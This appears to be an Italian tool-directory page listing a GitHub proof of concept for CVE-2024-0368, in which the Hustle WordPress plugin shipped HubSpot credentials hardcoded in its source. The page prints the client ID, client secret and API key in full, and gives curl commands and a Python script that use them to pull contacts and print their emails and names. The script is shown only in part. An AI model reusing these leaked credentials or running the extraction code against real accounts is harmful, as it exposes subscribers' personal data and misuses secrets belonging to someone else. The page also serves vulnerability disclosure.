Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/randomrobbiebf/cve-2024-0368
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebRilevamento SegretiApprendimento e Formazione
GitHubrandomrobbiebf/cve-2024-0368

CVE-2024-0368

Hustle Plugin <= 7.8.3 contiene credenziali API di HubSpot hardcoded in inc/providers/hubspot/hustle-hubspot-api.php

Vedi Repository
1178 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-0368

Il plugin Hustle <= 7.8.3 contiene credenziali dell'API HubSpot hardcoded in inc/providers/hubspot/hustle-hubspot-api.php

Riepilogo della vulnerabilità

CampoValore
ID CVECVE-2024-0368
TitoloHustle <= 7.8.3 - Esposizione di Informazioni Sensibili tramite Chiavi API HubSpot Esposte
Punteggio CVSS8.6 (Alto)
Plugin interessatoHustle - Email Marketing, Lead Generation, Optins, Popups (wordpress-popup)
Versioni vulnerabili<= 7.8.3
Versione corretta7.8.4
Tipo di vulnerabilitàCWE-200: Esposizione di Informazioni Sensibili

Analisi tecnica

Posizione del codice vulnerabile

File: inc/providers/hubspot/hustle-hubspot-api.php

class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
    const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
    const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
    const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';
    const BASE_URL      = 'https://app.hubspot.com/';
    const API_URL       = 'https://api.hubapi.com/';
    const SCOPE         = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';

Credenziali esposte

CredenzialeValoreScopo
CLIENT_ID5253e533-2dd2-48fd-b102-b92b8f250d1bIdentificatore applicazione OAuth2
CLIENT_SECRET2ed54e79-6ceb-4fc6-96d9-58b4f98e6bcaSegreto client OAuth2
HAPIKEYdb9600bf-648c-476c-be42-6621d7a1f96aChiave API legacy HubSpot

Ambiti OAuth (Accesso potenziale)

La configurazione OAuth hardcoded richiedeva i seguenti ambiti HubSpot:

  • oauth - Autenticazione OAuth
  • crm.objects.contacts.write - Creare/modificare contatti
  • crm.objects.contacts.read - Leggere informazioni di contatto (PII)
  • crm.lists.read - Leggere liste di marketing
  • crm.lists.write - Modificare liste di marketing
  • crm.schemas.contacts.write - Modificare schemi di contatti
  • crm.schemas.contacts.read - Leggere schemi di contatti

Spiegazione della vulnerabilità

Causa principale

WPMUDEV ha hardcoded le proprie credenziali dell'applicazione OAuth HubSpot direttamente nel codice sorgente del plugin. Ciò viola le buone pratiche di sviluppo sicuro in quanto:

  1. Esposizione pubblica: I plugin WordPress sono open source - il codice è disponibile pubblicamente nel repository SVN di wordpress.org
  2. Distribuzione di massa: Il plugin Hustle ha oltre 100.000 installazioni attive
  3. Credenziali condivise: Tutte le installazioni del plugin condividono le stesse credenziali API

Vettore d'attacco

Un attaccante potrebbe:

  1. Scaricare il plugin vulnerabile da wordpress.org
  2. Estrarre le credenziali hardcoded dal sorgente PHP
  3. Utilizzare queste credenziali per autenticarsi all'API di HubSpot
  4. Accedere all'account HubSpot di WPMUDEV e a qualsiasi dato elaborato tramite la loro integrazione

Impatto potenziale

Con credenziali valide, un attaccante potrebbe potenzialmente:

  • Leggere PII: Accedere alle informazioni di contatto (nomi, email, numeri di telefono, indirizzi)
  • Modificare dati: Creare, aggiornare o eliminare contatti in HubSpot
  • Accesso alle liste di marketing: Visualizzare e manipolare le liste di marketing
  • Esfiltrazione dati: Estrarre dati degli iscritti dai siti che utilizzano l'integrazione Hustle + HubSpot

Prova di concetto

Passo 1: Individuare il file vulnerabile

# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"

Output:

const CLIENT_ID     = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY       = 'db9600bf-648c-476c-be42-6621d7a1f96a';

Passo 2: Testare l'accesso tramite chiave API (Contatti)

curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"

Nota: Al momento del test, la chiave API è stata ruotata/scaduta (previsto dopo la divulgazione):

{
  "status": "error",
  "message": "The API key used to make this call is expired.",
  "category": "EXPIRED_AUTHENTICATION"
}

Passo 3: Testare il flusso OAuth

curl -X POST "https://api.hubapi.com/oauth/v1/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"

Risposta: Le credenziali sono state invalidate.

Script di sfruttamento (Python)

#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3

This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.

For authorized security testing only.
"""

import requests
import json

# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
    "client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
    "client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
    "hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}

HUBSPOT_API = "https://api.hubapi.com"

def test_api_key():
    """Test if the leaked API key is still valid"""
    print("[*] Testing HubSpot API Key...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}

    response = requests.get(url, params=params)
    data = response.json()

    if response.status_code == 200:
        print("[+] API Key is VALID - Vulnerability Exploitable!")
        print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
        return True
    else:
        print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
        return False

def test_oauth():
    """Test OAuth client credentials"""
    print("[*] Testing OAuth credentials...")

    url = f"{HUBSPOT_API}/oauth/v1/token"
    data = {
        "grant_type": "client_credentials",
        "client_id": CREDENTIALS["client_id"],
        "client_secret": CREDENTIALS["client_secret"]
    }

    response = requests.post(url, data=data)
    result = response.json()

    if "access_token" in result:
        print("[+] OAuth credentials VALID - Got access token!")
        return result["access_token"]
    else:
        print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
        return None

def extract_contacts(api_key=None, access_token=None):
    """Extract contacts if credentials are valid"""
    print("[*] Attempting to extract contacts...")

    url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
    headers = {}
    params = {"limit": 100}

    if access_token:
        headers["Authorization"] = f"Bearer {access_token}"
    elif api_key:
        params["hapikey"] = api_key

    response = requests.get(url, headers=headers, params=params)

    if response.status_code == 200:
        contacts = response.json()
        print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
        for contact in contacts.get("results", [])[:5]:
            props = contact.get("properties", {})
            print(f"    - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
        return contacts

    return None

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
    print("=" * 60)
    print()

    # Test leaked credentials
    api_valid = test_api_key()
    access_token = test_oauth()
Scarica lo strumento